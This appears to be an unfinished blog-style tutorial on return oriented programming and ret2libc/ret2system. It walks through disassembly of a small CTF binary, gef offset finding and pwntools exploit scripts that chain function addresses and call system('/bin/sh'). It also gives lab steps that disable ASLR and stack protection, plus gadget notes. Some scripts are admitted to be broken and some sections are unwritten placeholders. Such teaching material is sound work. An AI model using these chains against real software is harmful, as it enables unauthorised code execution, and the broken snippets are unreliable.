ROP

this is my in depth explanation on everything rop.

Return Oriented Programming (this post is not finished)

Return Oriented Programming

ROP is the process of stringing together existing code within the binary
to execute code/shellcode, this is important as ALL modern binaries will have NX/DEP enabled. This is
a stack protection which essentially sets the stack as non executable, so any shellcode pushed or written
on will not be able to execute. This is an exploit mitigation for out stack buffer overflows, another
simpler bypass of NX is return to libc, which does essentially the same thing but strings together
existing code within the libc and binary to execute instructions and or shellcode. A major downside to
the technique known as ret2libc is that it only targets linux machines, as ive never heard of ret2dll.
this will only work on linux binaries, which is fun and good to know for CTF challenges, but unless
we plan on exploiting linux, we should stay in the general area of ROP which is applicable in basically
all scenarios and enviroments. Since ret2libc is indeed interesting i will first explain that before
getting into ROP.

TALK ABOUT RET2LIBC, DEMO TOO <-- ignore, they are just notes to myself

Now that we have ret2libc out of the way, lets establish the baseline understanding of return oriented programming an important thing to keep in mind is that pretty much all rop gadgets will end with a RET instruction.

before i explain why this is the case, and sometimes not the case, i will first explain what RET does:

RET Transfers program control to a return address located on the top of the stack. The address is usually placed on the stack by a CALL instruction, and the return is made to the instruction that follows the CALL instruction.

ret
; is basically
; pop eip

no known assembler will interpret and assemble this since it is invalid in more ways than one

It's pseudocode for explaining what ret does.

Now that we understand that RET doesnt just mean, stop function, we can now begin to explain CALL

this is important due to the fact that call and ret work in tandem with each other:

call randomfunc

; push 0xdeadbeef
; jmp printf

in this case, 0xdeadbeef is the address in which our program will continue execution in many cases this would be after printf call within main()

since call pushes the return address onto the stack then jmp's to called function then "pop eip" makes sense, as we are continuing execution at the provided address on the stack

Why is this relevant?

Why does any of this matter in the case of return oriented programming??
Because all of our ROP gadgets are required to have a ret after each of them.
Why?? Why do rop gadgets need a ret after them?
we've explained how call works, and we've explained how ret works, it pops the value on the top
of the stack into EIP/RIP, our special instruction register that points to the next instruction.
Next, we will be explaining the leave instruction, as this is a fairly important one as well.
the leave instruction seen in bar() will essentially moves ebp into esp, which "deallocates"
that area that has been allocated before. This is the purpose of establishing a stack frame

Here is an example of a stack frame:

push ebp
mov ebp, esp
sub esp, 16  ; whatever size of local variable you are planning on using

; code

pop ebp
ret

Here is a visual representation of how the stack frame is established and or deallocated

ALLOCATIION

  1. push ebp ; push on to stack

    +-----------+
    |    ebp    |
    +-----------+
  2. mov ebp, esp

ebp and esp both point to the same address

+-----------+
|  ebp/esp  |
+-----------+
  1. sub esp, 0x8

    +-----------+
    |    ebp    |
    +-----------+
    |           | < - space to store local variables on the stack
    +-----------+
    |    esp    |
    +-----------+
  2. mov dword [ebp-4], 0xcafebabe

    +-----------+
    |    ebp    |
    +-----------+
    | 0xcafebabe| < - space to store local variables on the stack
    +-----------+
    |    esp    |
    +-----------+

DEALLOCATION

in these cases, deallocation of stack variables can come in the form of:

mov esp, ebp

or:

leave

This is the stack before deallocation

+-----------+
|    ebp    |
+-----------+
| 0xcafebabe|
+-----------+
|    esp    |
+-----------+

This is the stack after deallocation

+-----------+
|  ebp/esp  |
+-----------+

Now that we hopefully have a slightly better understanding of the purpose of the stack frame we now understand what the leave instruction does, and how it deallocates memory on the stack

Now lets begin to explain how to pwn this binary at hand, the reason i did not provide the source to this challenge, is due to the fact that reverse engineering a binary is an important piece of knowledge as well, understanding how the program works is essential to pwning a binary.

With that said lets look at the disassembly again and walk through it step by step.

┌ 42: int main (int argc, char **argv, char **envp);
│           ; var void *buf @ rbp-0x10
│           0x00401156      55             push rbp
│           0x00401157      4889e5         mov rbp, rsp
│           0x0040115a      4883ec10       sub rsp, 0x10
│           0x0040115e      488d45f0       lea rax, [buf]
│           0x00401162      ba80000000     mov edx, 0x80               ; 128 ; size_t nbyte
│           0x00401167      4889c6         mov rsi, rax                ; void *buf
│           0x0040116a      bf00000000     mov edi, 0                  ; int fildes
│           0x0040116f      b800000000     mov eax, 0
│           0x00401174      e8c7feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x00401179      b800000000     mov eax, 0
│           0x0040117e      c9             leave
└           0x0040117f      c3             ret

┌ 45: sym.foo ();
│           0x00401180      55             push rbp
│           0x00401181      4889e5         mov rbp, rsp
│           0x00401184      488d3d7d0e00.  lea rdi, str.Opening_real_flag_ ; 0x402008 ; "Opening real flag!" ; const char *format
│           0x0040118b      b800000000     mov eax, 0
│           0x00401190      e89bfeffff     call sym.imp.printf         ; int printf(const char *format)
│           0x00401195      be00000000     mov esi, 0                  ; int oflag
│           0x0040119a      488d3d7a0e00.  lea rdi, str.flag.txt       ; 0x40201b ; "flag.txt" ; const char *path
│           0x004011a1      b800000000     mov eax, 0
│           0x004011a6      e8b5feffff     call sym.imp.open           ; int open(const char *path, int oflag)
│           0x004011ab      5d             pop rbp
└           0x004011ac      c3             ret

┌ 83: sym.bar ();
│           ; var int64_t var_4h @ rbp-0x4
│           0x004011ad      55             push rbp
│           0x004011ae      4889e5         mov rbp, rsp
│           0x004011b1      4883ec10       sub rsp, 0x10
│           0x004011b5      be00000000     mov esi, 0                  ; int oflag
│           0x004011ba      488d3d630e00.  lea rdi, str.wrong.txt      ; "wrong.txt"
│           0x004011c1      b800000000     mov eax, 0
│           0x004011c6      e895feffff     call sym.imp.open           ; int open()
│           0x004011cb      8945fc         mov dword [var_4h], eax
│           0x004011ce      488d3d5b0e00.  lea rdi, str.Oh_im_sorry__did_you_want_the_flag__
│           0x004011d5      b800000000     mov eax, 0
│           0x004011da      e851feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x004011df      8b45fc         mov eax, dword [var_4h]
│           0x004011e2      b9d0070000     mov ecx, 0x7d0              ; 2000
│           0x004011e7      ba00000000     mov edx, 0
│           0x004011ec      89c6           mov esi, eax
│           0x004011ee      bf01000000     mov edi, 1
│           0x004011f3      b800000000     mov eax, 0
│           0x004011f8      e853feffff     call sym.imp.sendfile
│           0x004011fd      90             nop
│           0x004011fe      c9             leave
└           0x004011ff      c3             ret

Challenge 1

This first challenge will not be about rop gadgets, instead understanding the concept of how they work together to create a rop chain of sorts

This will be focusing on a little challenge i prepared for you in challenge1.zip

Thats all I have to say here, lets begin the pwning!

Reverse Engineering Challenge 1

Lets take a look at our main function

section .text
global main
main:                   ; the nasm assembler will complain, you must add the entrypoint
    push rbp            ;
    mov rbp, rsp        ; establish the stack frame, we had talked about this****
    sub rsp, 0x10       ; allocate memory for temporary variables on the stack
    lea rax, [buf]      ; load the address of the writeable memory buffer, size of 16 bytes
    mov edx, 0x80       ; number of bytes to read, len to be passed to read syscall!
                        ; THE VULNERABILITY IS HERE, we talked about buf being a 16 byte buffer
                        ; when we read 128 bytes to a 16 byte buffer, we get a "buffer overflow"
    mov rsi, rax        ; rax is holding the address of buf variable
    mov edi, 0          ; null parameter to read call
    mov eax, 0          ; null parameter to read call
    call sym.imp.read   ; call symbol import syscall read with the provided parameters
    mov eax, 0          ; return 0
    leave               ; deallocate and clean
    ret                 ; return from procedure(pop eip)

Now for our foo function:

foo:
    push rbp                        ; Establishing Stack Frame
    mov rbp, rsp                    ;
    lea rdi, str.Opening_real_flag_ ; load the address of the string to print into the destination register
    mov eax, 0                      ; parameter passed to printf
    call sym.imp.printf             ; call printf(const char *format)
    mov esi, 0                      ; load null parameter into source register
    lea rdi, str.flag.txt           ; 0x40201b ; load address of REAL FILE to open
    mov eax, 0                      ; return address
    call sym.imp.open               ; open file, but DONT PRINT, this is important
    pop rbp                         ; restore old pointer
    ret                             ; return from procedure, continue execution from ret address

Our last function, will use the sendfile() systemcall to write the contents of the file to stdout

bar:
    push rbp                    ;
    mov rbp, rsp                ; frame
    sub rsp, 0x10               ; allocate space on stack to store variables
                                ; remember, the stack grows DOWN, so rsp - 8 would GROW the stack by 8
    mov esi, 0                  ; int oflag ; get file descriptor to be passed to open()
    lea rdi, str.wrong.txt      ; "wrong.txt" ; THIS FUNCTION WILL OPEN THE WRONG FILE!!!
    mov eax, 0                  ; parameter to be passed to open
    call sym.imp.open           ; int open()
    mov dword [var_4h], eax     ; mov the value in eax to a variable on the stack
    lea rdi, str.Oh_im_sorry__did_you_want_the_flag__   ; load string
    mov eax, 0                  ; load null param to printf
    call sym.imp.printf         ; int printf(const char *format)
    mov eax, dword [var_4h]     ; mov the variable back into eax
    mov ecx, 0x7d0              ; size to write to stdout ; 2000
    mov edx, 0                  ; param
    mov esi, eax                ; eax = 0 ; var_4h = eax ; eax = var_4h ; esi = eax
                                ; it is 0
    mov edi, 1                  ; write/send file to stdout, which is file descriptor 1
    mov eax, 0                  ; parameter
    call sym.imp.sendfile       ; call sendfile, writes file to screen/stdout
    nop                         ; no operation, does nothing
    leave                       ; clean
    ret                         ; return from procedure

Exploiting Challenge 1

The purpose behing this challenge is to establish a ROP gadget, we will not have any stack protections enabled besides the good old NX, to prevent the usage of any shellcode. We are trying to create gadgets here!

In this case, the function will open the file, and return to main. This means it will not print anything to screen, which means we do not get our precious flag. If we want to get the flag, we can find where the open syscall is being setup, write that address over the return address, open and get fd for correct flag.txt, then when pop's back to rbp

So our payload will consist of:

payload = b"A" * offset + open_syscall + p64(0xdeadbeef) + sendfile_syscall

Now you will notice the 0xdeadbeef junk address, that is needed due to the fact that the next location that we are overwriting is not the return address on the stack, it is ebp/rbp. We currently have no use for overwriting the base pointer.

So we will just overwrite a junk address over that so we can get back to our program execution and call sendfile

Lets Start!

The first thing we will do is overwrite our 16 byte buffer, the offset for this binary is 24 until we overwrite the return address placed on the stack.

Now once we find the offset, we can control eip/rip by sending whatever address we want into it.

ret is essentially POP EIP remember?, like we said before if eip pops that value off the stack and resumes execution at the location we provided, then we can hijack control. Except this time there is a twist, NX is enabled, so we need to get creative.

  1. foo() will open the correct flag.txt, but will not output it for us

  2. bar() will output our flag, but it reads the incorrect one

How can we work with this?

Lets think, so if we can open the correct file, but cannot print it and we can open the wrong file, but we can print that, how would we exploit this?

lets open the file up in radare2, and get the address of the sym.bar function:

[0x00401156]> pd 1 @sym.bar
 83: sym.bar ();
 bp: 1 (vars 1, args 0)
 sp: 0 (vars 0, args 0)
 rg: 0 (vars 0, args 0)
           0x0040119c      55             push rbp

Now that we have it's address, we can construct the payload:

# ADDRESSES MAY VARY
offset=24
(python2 -c 'from pwn import *; "A"*offset + p64(0x0040119c)';cat) | ./rop

wrapping the python2 command in a bash function and calling cat will keep standard input open when we exploit the binary.

This is not important for this particular challenge, and when using pwntools it is not important either, but when crafting quick exploits on the command line, normally your shell would not work unless stdin was kept open using a trick like this.

Output:

you done goofed now!, you sure done goofed now!!!
try not being stupid :)

⣿⢸⣿⣿⣿⣿⣿⢹⣿⣿⣿⣿⣿⢿⣿⡇⡇⣿⣿⡇⢹⣿⣿⣿⣿⣿⣿⠄⢸⣿
⡟⢸⣿⣿⣭⣭⡭⣼⣶⣿⣿⣿⣿⢸⣧⣇⠇⢸⣿⣿⠈⣿⣿⣿⣿⣿⣿⡆⠘⣿
⡇⢸⣿⣿⣿⣿⡇⣻⡿⣿⣿⡟⣿⢸⣿⣿⠇⡆⣝⠿⡌⣸⣿⣿⣿⣿⣿⡇⠄⣿
⢣⢾⣾⣷⣾⣽⣻⣿⣇⣿⣿⣧⣿⢸⣿⣿⡆⢸⣹⣿⣆⢥⢛⡿⣿⣿⣿⡇⠄⣿
⣛⡓⣉⠉⠙⠻⢿⣿⣿⣟⣻⠿⣹⡏⣿⣿⣧⢸⣧⣿⣿⣨⡟⣿⣿⣿⣿⡇⠄⣿
⠸⣷⣹⣿⠄⠄⠄⠄⠘⢿⣿⣿⣯⣳⣿⣭⣽⢼⣿⣜⣿⣇⣷⡹⣿⣿⣿⠁⢰⣿
⠄⢻⣷⣿⡄⢈⠿⠇⢸⣿⣿⣿⣿⣿⣿⣟⠛⠲⢯⣿⣒⡾⣼⣷⡹⣿⣿⠄⣼⣿
⡄⢸⣿⣿⣷⣬⣽⣯⣾⣿⣿⣿⣿⣿⣿⣿⣿⡀⠄⢀⠉⠙⠛⠛⠳⠽⠿⢠⣿⣿
⡇⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⢄⣹⡿⠃⠄⠄⣰⠎⡈⣾⣿⣿
⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣭⣽⣖⣄⣴⣯⣾⢷⣿⣿⣿
⣧⠸⣿⣿⣿⣿⣿⣿⠯⠊⠙⢻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣾⣿⣿⣿
⣿⣦⠹⣿⣿⣿⣿⣿⠄⢀⣴⢾⣼⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣾⣿⣿⣿⣿
⣿⣿⣇⢽⣿⣿⣿⡏⣿⣿⣿⣿⣿⡇⣿⣿⣿⣿⡿⣿⣛⣻⠿⣟⣼⣿⣿⣿⣿⢃
⣿⣿⣿⡎⣷⣽⠻⣇⣿⣿⣿⡿⣟⣵⣿⣟⣽⣾⣿⣿⣿⣿⢯⣾⣿⣿⣿⠟⠱⡟
⣿⣿⣿⣿⢹⣿⣿⢮⣚⡛⠒⠛⢛⣋⣶⣿⣿⣿⣿⣿⣟⣱⠿⣿⣿⠟⣡⣺⢿

Oops, looks like we got the wrong flag.

How would we get the program to output the correct one?

lets walk through this step by step

First, open up gdb/gef

I am going to be using this project throughout this whole explanation: https://github.com/hugsy/gef

Open the rop binary in gdb-gef, and start the program:

[ Legend: Modified register | Code | Heap | Stack | String ]                                                                                                                                                         
───────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0000000000401156  →  <main+0> push rbp                                                                                                                                                                    
$rbx   : 0x00000000004011f0  →  <__libc_csu_init+0> endbr64                                                                                                                                                          
$rcx   : 0x00007ffff7f85598  →  0x00007ffff7f87960  →  0x0000000000000000                                                                                                                                            
$rdx   : 0x00007fffffffdd68  →  0x00007fffffffe13b  →  "SHELL=/usr/bin/zsh"                                                                                                                                          
$rsp   : 0x00007fffffffdc60  →  0x0000000000000000                                                                                                                                                                   
$rbp   : 0x00007fffffffdc60  →  0x0000000000000000                                                                                                                                                                   
$rsi   : 0x00007fffffffdd58  →  0x00007fffffffe0f1  →  "/home/manjoos/Downloads/Exploit-Development/pwn.co[...]"                                                                                                     
$rdi   : 0x1                                                                                                                                                                                                         
$rip   : 0x000000000040115a  →  <main+4> sub rsp, 0x10                                                                                                                                                               
$r8    : 0x0                                                                                                                                                                                                         
$r9    : 0x00007ffff7fdc070  →  <_dl_fini+0> endbr64                                                                                                                                                                 
$r10   : 0x69682ac                                                                                                                                                                                                   
$r11   : 0x202                                                                                                                                                                                                       
$r12   : 0x0000000000401070  →  <_start+0> endbr64                                                                                                                                                                   
$r13   : 0x0                                                                                                                                                                                                         
$r14   : 0x0                                                                                                                                                                                                         
$r15   : 0x0                                                                                                                                                                                                         
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]                                                                                                          
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdc60│+0x0000: 0x0000000000000000   ← $rsp, $rbp                                                                                                                                                        
0x00007fffffffdc68│+0x0008: 0x00007ffff7debb25    <__libc_start_main+213> mov edi, eax
0x00007fffffffdc70│+0x0010: 0x00007fffffffdd58  →  0x00007fffffffe0f1  →  "/home/manjoos/Downloads/Exploit-Development/pwn.co[...]"
0x00007fffffffdc78│+0x0018: 0x00000001f7fca000
0x00007fffffffdc80│+0x0020: 0x0000000000401156    <main+0> push rbp
0x00007fffffffdc88│+0x0028: 0x00007fffffffe0d9    0xac30870e568c5855
0x00007fffffffdc90│+0x0030: 0x00000000004011f0    <__libc_csu_init+0> endbr64 
0x00007fffffffdc98│+0x0038: 0x6daab93d1445de52
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401154 <frame_dummy+4>  jmp    0x4010e0 <register_tm_clones>
     0x401156 <main+0>         push   rbp
     0x401157 <main+1>         mov    rbp, rsp
    0x40115a <main+4>         sub    rsp, 0x10
     0x40115e <main+8>         lea    rax, [rbp-0x10] 
     0x401162 <main+12>        mov    edx, 0x80
     0x401167 <main+17>        mov    rsi, rax
     0x40116a <main+20>        mov    edi, 0x0
     0x40116f <main+25>        mov    eax, 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[#0] Id 1, Name: "rop", stopped 0x40115a in main (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40115a → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

Once we have the program running, we can generate a cyclic pattern with the command:

gef➤ pattern create 200

200 should be a long enough pattern

0x00007fffffffdc68│+0x0000: "daaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaaja[...]"     $rsp
0x00007fffffffdc70│+0x0008: "eaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaaka[...]"
0x00007fffffffdc78│+0x0010: "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]"
0x00007fffffffdc80│+0x0018: "gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]"
0x00007fffffffdc88│+0x0020: "haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaana[...]"
0x00007fffffffdc90│+0x0028: "iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoa[...]"
0x00007fffffffdc98│+0x0030: "jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapa[...]"
0x00007fffffffdca0│+0x0038: "kaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaa"

Nice, we have overwritten the return address, now all we have to do is find the offset

gef➤ pattern search daaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaaja
[+] Searching 'daaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaaja'
[+] Found at offset 24 (big-endian search)

So 24 is our offset

remember, the entire payload for this particular binary should be:

payload = "A" * offset      # junk padding
payload += addr1            # address of sym.foo open
payload += p64(0xdeadbeef)  # junk address to overwrite rbp
payload += addr2            # address of sym.bar sendfile

Lets find the two addresses required for this "rop" chain to work

Open the program up in radare2 again

 28: sym.foo ();
           0x00401180      55             push rbp
           0x00401181      4889e5         mov rbp, rsp
           0x00401184      be00000000     mov esi, 0                  
           0x00401189      488d3d780e00.  lea rdi, str.flag.txt       
           0x00401190      b800000000     mov eax, 0
           0x00401195      e8c6feffff     call sym.imp.open           
           0x0040119a      5d             pop rbp
           0x0040119b      c3             ret

Our first address will be 0x00401184

The reason behind starting our program execution at "mov esi, 0" is due to not needing to setup the stack frame, as we only need to ret anyways

"mov esi, 0" is important because it is initializing the file descriptor that the system call will be using.

Next it will open the program, and "ret" to the return address, which we can control.

Lets move onto the next address

┌ 83: sym.bar ();
│           ; var int64_t var_4h @ rbp-0x4
│           0x0040119c      55             push rbp
│           0x0040119d      4889e5         mov rbp, rsp
│           0x004011a0      4883ec10       sub rsp, 0x10
│           0x004011a4      be00000000     mov esi, 0                  
│           0x004011a9      488d3d610e00.  lea rdi, str.wrong.txt      
│           0x004011b0      b800000000     mov eax, 0
│           0x004011b5      e8a6feffff     call sym.imp.open          
│           0x004011ba      8945fc         mov dword [var_4h], eax
│           0x004011bd      488d3d5c0e00.  lea rdi, str.Oh_im_sorry__did_you_want_the_flag__ 
│           0x004011c4      b800000000     mov eax, 0
│           0x004011c9      e862feffff     call sym.imp.printf         
│           0x004011ce      8b45fc         mov eax, dword [var_4h]
│           0x004011d1      b9d0070000     mov ecx, 0x7d0              
│           0x004011d6      ba00000000     mov edx, 0
│           0x004011db      89c6           mov esi, eax
│           0x004011dd      bf01000000     mov edi, 1
│           0x004011e2      b800000000     mov eax, 0
│           0x004011e7      e864feffff     call sym.imp.sendfile
│           0x004011ec      90             nop
│           0x004011ed      c9             leave
└           0x004011ee      c3             ret

Pop quiz, can you spot where our program should start next?

DONT LOOK, CHOOSE THE ADDRESS YOU THINK IS CORRECT BASED ON THE INFORMATION PROVIDED

ok are you ready?, do you have your answer??

the answer is: 0x004011d1

                ---------- snip ------------
│           0x004011d1      b9d0070000     mov ecx, 0x7d0              
│           0x004011d6      ba00000000     mov edx, 0
│           0x004011db      89c6           mov esi, eax
│           0x004011dd      bf01000000     mov edi, 1
│           0x004011e2      b800000000     mov eax, 0
│           0x004011e7      e864feffff     call sym.imp.sendfile
│           0x004011ec      90             nop
│           0x004011ed      c9             leave
└           0x004011ee      c3             ret

That is the only section we need because it is initializing and calling sendfile

┌ 83: sym.bar ();
│           0x0040119c      55             push rbp
│           0x0040119d      4889e5         mov rbp, rsp
│           0x004011a0      4883ec10       sub rsp, 0x10
│           0x004011a4      be00000000     mov esi, 0                  ; int oflag
│           0x004011a9      488d3d610e00.  lea rdi, str.wrong.txt      ; 0x402011 ; "wrong.txt" ; const char *path
│           0x004011b0      b800000000     mov eax, 0
│           0x004011b5      e8a6feffff     call sym.imp.open           ; int open(const char *path, int oflag)
│           0x004011ba      8945fc         mov dword [var_4h], eax
│           0x004011bd      488d3d5c0e00.  lea rdi, str.Oh_im_sorry__did_you_want_the_flag__ 
│           0x004011c4      b800000000     mov eax, 0
│           0x004011c9      e862feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x004011ce      8b45fc         mov eax, dword [var_4h]
        -------------------- snip -----------------------

This code up here is calling open on "wrong.txt", which is the incorrect file

if we were to call the address of sym.bar() instead of jumping into 0x004011d1, we would have opened the incorrect file again and printed that instead

Lets write a python script to print BOTH for us, since we're fancy

#!/usr/bin/env python3
from pwn import *

def main():
    offset = 24

    p = process('rop')
    # sym.foo will only open, but will not "sendfile"/output anything from it
    # saved return address to return from foo's open call
    # --- snip ---
    # mov esi, 0x0              ; int oflag
    # lea rdi, str.flag.txt     ; real flag
    # mov eax, 0                ; parameter of 0
    # call sym.imp.open         ; call symbol import open
    # pop rbp
    # ret
    addr1 = p64(0x00401184)

    # this is where foo will return to
    # the reason we called open first should be obvious, we need to open the correct file
    # then pass execution and or overwrite x variable with address of our opened fd so sendfile will
    # print
    # -- snip --
    # mov eax, dword [rbp-0x4]  ; the value of rbp-4 is 0
    # mov ecx, 0x7d0            ; 2000 ; will read/write 2000 bytes from file to stdout
    # mov edx, 0                ; parameter
    # mov esi, eax              ; esi = 0
    # mov edi, 1                ; write to stdout probabkly
    # mov eax, 0                ; another parameter
    # call sym.imp.sendfile     ; call symbol import sendfile
    addr2 = p64(0x004011d1)

    # this is the setup for syscall sendfile, so we want to return to here
    # the reason we need a junk address is due to the fact that the next register we write will
    # be ebp/rbp, this is not important for us, as without the junk address, ebp would equal our address
    # of addr2 that we want to execute, and eip/rip would be overwritten with junk, causing a seg fault
    if incorrect_flag:
        payload = b"A"*offset + p64(0x0040119c)
    else:
        payload = b"A"*offset + addr1 + p64(0xdeadbeef) + addr2

    p.send(payload)
    p.interactive()

try:
    if len(sys.argv) > 1 and sys.argv[1] == "-f":
        incorrect_flag=True
        main()
    elif sys.argv[1] == "-a":
        incorrect_flag = False
        main()
except IndexError:
    print("Usage: python3 %s [-f] [-a]")
    print("-f\tPrint the false flag\n-a\tPrint the real flag")

Challenge 1 Fin

Now that we have successfully created our first "rop" chain, we can move on to challenge 2

Here is the source code:

#include <stdio.h>
// gcc rop.c -fno-stack-protector -no-pie
int main() {
    char buffer[16];
    read(0, buffer, 128);
}
int foo() {
    return open("flag.txt", 0);
}
int bar() {
    int x = open("wrong.txt", 0);
    printf("Oh im sorry, did you want the flag??");
    sendfile(1, x, 0, 2000);
}

ret2system

Before I get into you can use this exploit, on your own linux binaries just so long as you have the same libc version as I do.

What ret2sys is & and what it's for:

So there are many ways bypass "NX" (non-excutable) NX/DEP (NX for linux and DEP for windows) functions similar to file permissions.
regions of memory in binaries also have permissions. So the ability to read and write and execute on the stack can be mitigated, which is what NX is.
Some history behind this stack protection, the first instance of a buffer overflow exploit was seem in the morris worm, which was the first worm ever seen.
This worm had used a buffer overflow exploit along with other spreading mechanisms to propogate across the internet.
The author of the first documented worm, and buffer overflow, was discovered by a man by the name of Robert Tappan Morris.

The reason that buffer overflow exploits work, is largely thanks to Von Neumann, which created the architecture in which all almost all computers follow to this day.
He had not created a gap between code, and data, they would be reasable, writeable, and executable without limitation.
The essence of all memory exploitation is essentially, making a program confuse data with code/instructions.
That is what exploitation is, all thanks to this one little oversight by Von Neumann.

Then comes in the stack protections, the one we will be discussing today is NX.
The history behing this particular exploit mitigation is not spectacular, but its emergence made exploitation much more difficult for its time.
Normally, all of you code will be located within your .text section of the binary, there is no need to mark the stack as executable.
People began to realize that there is no need to execute any code on the stack or the heap, which caused the stack protection known as NX to be created/realized.

You can get around said stack protection techniques like ret2libc, return oriented programming, and the list goes on and on. 
But in this case im going to go over ret2sys which is very similiar if not identical to ret2libc.
The difference between the ret2 exploits and return oriented programming is that in ROP, you are exclusively using code that is built in within the binary, while with
ret2libc/sys you will be reaching out to PLT to recieve and call the functions within libc.

if you would like an explanation on how the GOT and PLT work together to resolve addresses for dynamically linked executables, feel free to check out this post:

https://github.com/0xmanjoos/Exploit-Development/tree/main/fmt_bug/GOT-PLT

Let's go ahead and break down what libc is and system and exit functions:

So before we can get into how to exploit ret2libc/system let's explain what is is. 
In Linux systems, there resides the Standard Shared Library, this library will be loaded into memory on runtime and reside there until a function is called.
ret2libc/system is, again, thanks to the concept of dynamic linking, which means we are allowed to execute code, that exists outside of the binary.
Except in this case, there are more exploit mitigations that stand in our way of pwn!

ASLR, and RELRO

The extremely effective and difficult protection here is ASLR, which in concept is simple, but in implementation extremely difficult.
I wont be going in and explaining that here, i will probably write another post about it but just keep in mind that it is important.

Before we begin the lab, follow along 1. gcc -z -no-pie -fno-stack-protector lab.c 2. echo 0 > /proc/sys/kernel/randomize_via_space

Credits:

Github:https://github.com/NopSIed

Discord: Layta.#6424

Now I will show my ret2sys exploit and break it down.

from pwn import *

#padding
rip_offset = 273
padding = "A" * rip_offset

#offests for system and exit
#(0x0000000000044be0)
#(0x00000000000503c0)

#addrs
libc_base_addr = ("0x00007ffff7dc9000")
libc_system = ("0x00007ffff7dc9000" + "0x00000000000503c0")
libc_exit = ("0x00007ffff7dc9000" + "0x0000000000044be0")
binsh_addr = ("0x7ffff7f7741f")
pop_rdi_ret = ("0x00000000004011d3")

#So we need our libc_base so we can add the offset of system and exit with the base to get an address for system and exit.

#payload
payload = padding + pop_rdi_ret + binsh_addr + libc_system + libc_exit

#print(hex(libc_system))
#print(hex(libc_exit))
#You can do this to see if you get a prop system and exit addr

#Setting up our pwntools for our processes
proc = process("./vuln_bin")  #My binary name
proc.sendline(payload)        #Sending my payload
proc.interactive()            #Making my shell interactive

#Some tools I used were the pwntools python module, the ropgadget tool to get my pop_rdi ; ret instruction, and I used ldd and readelf to get my libc_base and the
#offsets for libc_system and libc_exit, I also used a gdb (GNU linux command line debugger) plugin known as "gef" which is what I used to find the offset for the
#RIP address and was able to cause segmentation faults to get a offset.
----------------------------------------------------------------------------------------------------------------------------------------------------------------------

So upon executing this in your shell with the usage like so: python3 (exploit_name).py your interface in your shell should look like this upon running:

laytathagod@pop-s ~D/B/rop> python3 exploit.py
[!] Could not find executable 'vuln_bin' in $PATH using './vuln_bin' instead
[+] starting local process './vuln_bin': pid 5458
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$

create a working exploit, this will error out for anyone trying at home

Rop Gadgets

Next, we will be talking about rop gadgets, how they work, and how to use them

EXPLAN ROP GADGETS AND RET2SYSTEM

Challenge 3

note:

pop rop gadgets are stack fix-up gadgets

add is also a stack fix gadget, for possibly jumping over corrupted memory

pop rdi ; ret ; is an example

; this may be used as a skip over garbage gadget

sub rsp, 0x40

stuff goes here

add rsp, 0x40

ROP, rare and common gadgets

ret - at the end of every function, can be used as a ret(nop) sled

leave ; ret - pop ebp ; mov esp, ebp | dont corrupt ebp/rbp or you will break esp/rsp too

pop rdi ; ret - this does not have to be rdi | restoring callee saved registers before returning

mov rax, * ; ret - saves the return value before returning to return address(many returns)

ROP, storing addresses into registers(very situational!)

push rsp ; pop rax ; ret ; will mov stack address/pointer into rax

add rax, rsp ; ret ; not perfect but conceptually will move rsp into rax

xchg rax, rsp ; ret ; swap rax and rsp(DANGEROUS)

ROP stack pivoting:

there are many reasons not to like your particular stack, some of them includes limiting the amount

of bytes you can overwrite so you may not be able to create a long ROP chain. Here we have a solution

to that, stack pivoting.

xchg == exchange, this swaps rax and rsp

when the next ret is executed, the return address previouly pushed on the stack will be popped off on

to your new stack, which is where rax use to point. You obviously need to mov the address into rax

beforehand.

xchg, rax, rsp ; ret

pop rsp ; ... ; ret

ROP, transfering data:

we had previously explained how to mov addresses into registers and passing parameters on the stack

with rop gadgets, now we will talk about passing data and values with rop gadgets

example of common gadget:

add byte [rcx], al ; pop rbp ; ret

this would require a gadget to be able to set rcx(rare) and rax(more common).

ROP, syscalls are rare

extrememly rare, you will most likely never find a syscall within a binary

the shortest path to our flag will be calling a libc function like printf@plt through the PLT

procedure linkage table, and or calling system@plt for code execution

ROP, KNOW YOUR ENVIROMENT

the ropchain is located on a place on a stack, KNOW THAT ENVIROMENT WELL, there are tons of info and

things to use to get code execution. Think about the code, the stack, the heap in registers and or

on the stack.

use the registers that point to all of them, you might be able to use those registers :)

[EXPLAIN AN EXAMPLE ROP CHAIN EXPLOIT BE WRITING AND EXECVE ON STACK] This is essentially the values our stack will contain, now we just need the gadgets to pop them off in order then syscall to hopefully give us the shell

+-----------+
|   0x3b    |
+-----------+
